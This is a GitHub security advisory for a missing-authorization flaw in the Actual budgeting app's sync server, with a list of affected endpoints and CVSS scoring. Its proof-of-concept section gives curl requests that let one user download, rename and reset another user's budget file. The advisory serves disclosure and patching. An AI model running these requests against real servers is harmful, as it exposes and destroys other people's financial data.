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@actual-app/sync-server: Missing authorization in sync endpoints allows cross-user budget file access in multi-user mode

Moderate severity GitHub Reviewed Published Feb 26, 2026 in actualbudget/actual • Updated Feb 27, 2026

Package

npm @actual-app/sync-server (npm)

Affected versions

<= 26.2.0

Patched versions

26.2.1

Description

In multi-user mode (OpenID), the sync API endpoints (/sync/*) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID.

Affected Code

File: packages/sync-server/src/app-sync.ts

The validateSessionMiddleware on line 31 confirms the user is authenticated, but individual endpoints only check that the file exists (via verifyFileExists), never that the requesting user owns or has access to the file.

Compare with POST /sync/delete-user-file (lines 394-430) which correctly checks:

const isOwner = file.owner === userId;
const isServerAdmin = isAdmin(userId);
if (!isOwner && !isServerAdmin) { ... }

This check is missing from all other endpoints.

Affected Endpoints

  • GET /sync/download-user-file - download any budget file
  • POST /sync/upload-user-file - overwrite any budget file
  • POST /sync/sync - read/write sync messages of any file
  • POST /sync/user-get-key - read encryption key info
  • POST /sync/user-create-key - change encryption key
  • POST /sync/reset-user-file - reset sync state
  • POST /sync/update-user-filename - rename file
  • GET /sync/get-user-file-info - read file metadata

PoC

Setup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId abc-123.

Bob downloads Alice's budget:

curl -X GET 'https://actual.example.com/sync/download-user-file' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'X-Actual-File-Id: abc-123' \
  -o stolen-budget.blob

Bob reads Alice's file metadata:

curl -X GET 'https://actual.example.com/sync/get-user-file-info' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'X-Actual-File-Id: abc-123'

Bob renames Alice's budget:

curl -X POST 'https://actual.example.com/sync/update-user-filename' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"fileId": "abc-123", "name": "pwned"}'

Bob resets Alice's sync state (destructive):

curl -X POST 'https://actual.example.com/sync/reset-user-file' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"fileId": "abc-123"}'

File IDs can be discovered by admin users via GET /sync/list-user-files (admins see all files), through user_access sharing, or by guessing.

Impact

In multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.

References

@MatissJanis MatissJanis published to actualbudget/actual Feb 26, 2026
Published by the National Vulnerability Database Feb 26, 2026
Published to the GitHub Advisory Database Feb 27, 2026
Reviewed Feb 27, 2026
Last updated Feb 27, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(11th percentile)

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-27638

GHSA ID

GHSA-qmjj-p7m9-wjrv

Source code

Credits

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